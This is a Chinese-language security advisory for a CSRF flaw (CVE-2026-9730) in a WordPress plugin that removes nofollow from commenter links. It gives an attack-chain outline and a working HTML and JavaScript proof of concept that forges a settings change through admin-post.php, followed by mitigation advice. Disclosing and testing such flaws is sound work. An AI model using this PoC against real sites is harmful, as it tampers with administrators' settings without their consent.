CVE-2026-9730 WordPress Remove NoFollow插件CSRF漏洞

漏洞信息

漏洞编号

CVE-2026-9730

漏洞类型

跨站请求伪造(CSRF)

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Remove NoFollow Commenter URL WordPress Plugin

漏洞概述

CVE-2026-9730是WordPress插件"Remove NoFollow Commenter URL"中的一个跨站请求伪造(CSRF)漏洞。该插件用于移除评论者链接中的nofollow属性，但在1.0及以下所有版本中，gmz_comment_settings_save函数存在严重的CSRF防护缺失。攻击者可以通过构造恶意链接，诱骗WordPress网站管理员在不知情的情况下点击，从而篡改插件的评论显示设置。成功利用此漏洞后，攻击者可以修改评论链接的nofollow设置，影响网站的SEO效果和评论链接的权重传递。该漏洞不需要认证即可发起攻击，但需要管理员进行交互操作（如点击链接），因此CVSS评分仅为4.3，属于中危漏洞。

技术细节

该漏洞的根本原因在于gmz_comment_settings_save函数缺少正确的nonce验证机制。在WordPress插件开发中，nonce验证是防止CSRF攻击的标准方法，但该插件在处理用户提交的设置更新请求时未能正确实施这一安全检查。攻击者可以构造一个包含恶意参数的HTML表单或链接，当管理员访问时，浏览器会自动向目标站点发送请求，由于浏览器会自动携带目标站点的Cookie，服务器会认为这是一个合法的管理员操作。漏洞主要影响插件的评论设置功能，攻击者可以通过伪造请求修改gmzxnofollow.php文件中定义的评论链接显示行为。攻击的复杂度较低，但需要一定的社会工程技巧来诱骗管理员点击恶意链接。

攻击链分析

STEP 1

1. reconnaissance

攻击者识别目标网站使用的WordPress版本和Remove NoFollow Commenter URL插件版本（<= 1.0），确认漏洞存在

STEP 2

2. social_engineering

攻击者精心构造包含CSRF payload的恶意页面或链接，通过钓鱼邮件、社交工程等方式诱骗网站管理员访问

STEP 3

3. trigger_exploit

当管理员点击恶意链接或访问恶意页面时，浏览器自动向目标网站的admin-post.php发送POST请求，包含修改插件设置的参数

STEP 4

4. bypass_protection

由于插件缺少nonce验证，服务器无法区分合法请求和伪造请求，将恶意请求视为有效的管理员操作

STEP 5

5. modify_settings

插件设置被成功修改，评论者链接的nofollow属性被移除或修改，影响网站的SEO和链接权重传递

STEP 6

6. impact_achieved

攻击成功，评论链接不再带有nofollow，可能导致搜索引擎优化问题或评论垃圾邮件增加

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CSRF PoC for CVE-2026-9730 -->
<!-- This PoC exploits the missing nonce validation in gmz_comment_settings_save function -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Exploit - CVE-2026-9730</title>
</head>
<body>
    <h1>CSRF Attack PoC for Remove NoFollow Commenter URL Plugin</h1>
    <p>Click the button below to trigger the forged request:</p>
    
    <form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrfForm">
        <!-- Required WordPress admin-post parameters -->
        <input type="hidden" name="action" value="gmz_comment_settings_save">
        <!-- Plugin settings that will be modified -->
        <input type="hidden" name="gmz_nofollow_remove" value="1">
        <input type="hidden" name="gmz_settings_nonce" value="">
        <!-- Additional hidden fields that may be required -->
        <input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=gmz-nofollow">
        <button type="submit" onclick="this.disabled=true; this.innerText='Submitting...';">Click Me</button>
    </form>
    
    <script>
        // Auto-submit form on page load (for demonstration purposes)
        // document.getElementById('csrfForm').submit();
        
        // Alternative: Use fetch API for more stealthy attack
        async function exploit() {
            const targetUrl = 'http://target-site.com/wp-admin/admin-post.php';
            const formData = new URLSearchParams();
            formData.append('action', 'gmz_comment_settings_save');
            formData.append('gmz_nofollow_remove', '1');
            formData.append('gmz_settings_nonce', '');
            
            // Note: This will only work if the admin is logged in
            // and visits this page (CSRF requires browser context)
            await fetch(targetUrl, {
                method: 'POST',
                mode: 'no-cors', // Use no-cors to avoid CORS issues
                body: formData
            });
            console.log('CSRF request sent');
        }
    </script>
    
    <p><strong>Note:</strong> This PoC is for educational and security testing purposes only.</p>
    <p><strong>Target:</strong> WordPress sites with Remove NoFollow Commenter URL plugin <= 1.0</p>
</body>
</html>

影响范围

Remove NoFollow Commenter URL WordPress Plugin <= 1.0

防御指南

临时缓解措施

如果无法立即更新插件，建议采取以下临时缓解措施：1) 定期检查插件设置是否被意外修改；2) 对管理员进行安全意识培训，避免点击未知链接；3) 使用浏览器安全插件防止自动提交表单；4) 考虑暂时禁用该插件直到官方发布安全更新；5) 限制管理员账户权限，使用强密码和双因素认证。